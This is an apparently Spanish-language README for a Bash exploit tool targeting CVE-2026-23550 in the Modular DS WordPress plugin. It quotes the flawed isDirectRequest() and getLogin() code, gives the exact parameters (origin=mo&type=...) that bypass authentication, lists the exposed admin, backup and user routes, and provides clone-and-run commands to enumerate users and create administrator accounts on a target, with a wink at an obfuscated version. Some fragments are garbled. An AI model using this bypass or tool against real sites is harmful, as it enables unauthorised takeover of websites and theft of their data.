
Script de Bash para la enumeración de usuarios de WordPress y la creación automatizada de cuentas de administrador, explotando CVE-2026-23550 para eludir la autenticación y lograr la toma de control del administrador sin autenticación.
ID de CVE: CVE-2026-23550 Puntuación CVSS: 10.0 (CRÍTICA) Plugin afectado: Plugin de WordPress Modular DS Versiones afectadas: Todas las versiones hasta la 2.5.1 inclusive Versión parcheada: 2.5.2 (publicada el 14 de enero de 2026) Explotación activa: Confirmada en la naturaleza desde el 13 de enero de 2026
Este plugin expone sus rutas de API bajo el prefijo /api/modular-connector/.
Estas rutas están agrupadas detrás de un middleware de autenticación en RouteServiceProvider.php.
Sin embargo, la autenticación se puede omitir utilizando el método defectuoso isDirectRequest().
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
La forma de omitirlo es muy trivial: basta con incluir los parámetros origin=mo&type=anything en la solicitud. No hay verificación de firma, secreto, IP ni User-Agent obligatorio: estos parámetros por sí solos son suficientes para que la solicitud se considere una solicitud directa de Modular
Una vez que la solicitud se considera "directa", el middleware de autenticación en ModularGuard.php solo verifica si el sitio está conectado a Modular mediante validateOrRenewAccessToken(). No existe un vínculo criptográfico entre la solicitud entrante y Modular en sí.
Rutas Expuestas Con la autenticación omitida con éxito, el atacante puede acceder a:
/login/{modular_request} – inicio de sesión remoto (acceso de administrador)
/server-information – datos sensibles del sistema
/users/{modular_request} – enumeración de usuarios
/backup/* – copias de seguridad del sitio
/cache/clear – limpiar caché
/manager/* – funciones de gestión
/woocommerce/{modular_request} – estadísticas de WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Si no hay un ID de usuario en el cuerpo de la solicitud, el código buscará cualquier administrador existente (getAdminUser()) e iniciará sesión directamente.
Autor: (Dedsec Team) Descripción: Un potente script bash para la enumeración de usuarios de WordPress y la creación automatizada de cuentas de administrador. Diseñado únicamente con fines educativos y para pruebas de seguridad autorizadas.
/?author=1, /?author=2, etc.)curl (para solicitudes HTTP)base64 (si estás usando la versión ofuscada, jeje)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [opciones] <url_objetivo>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d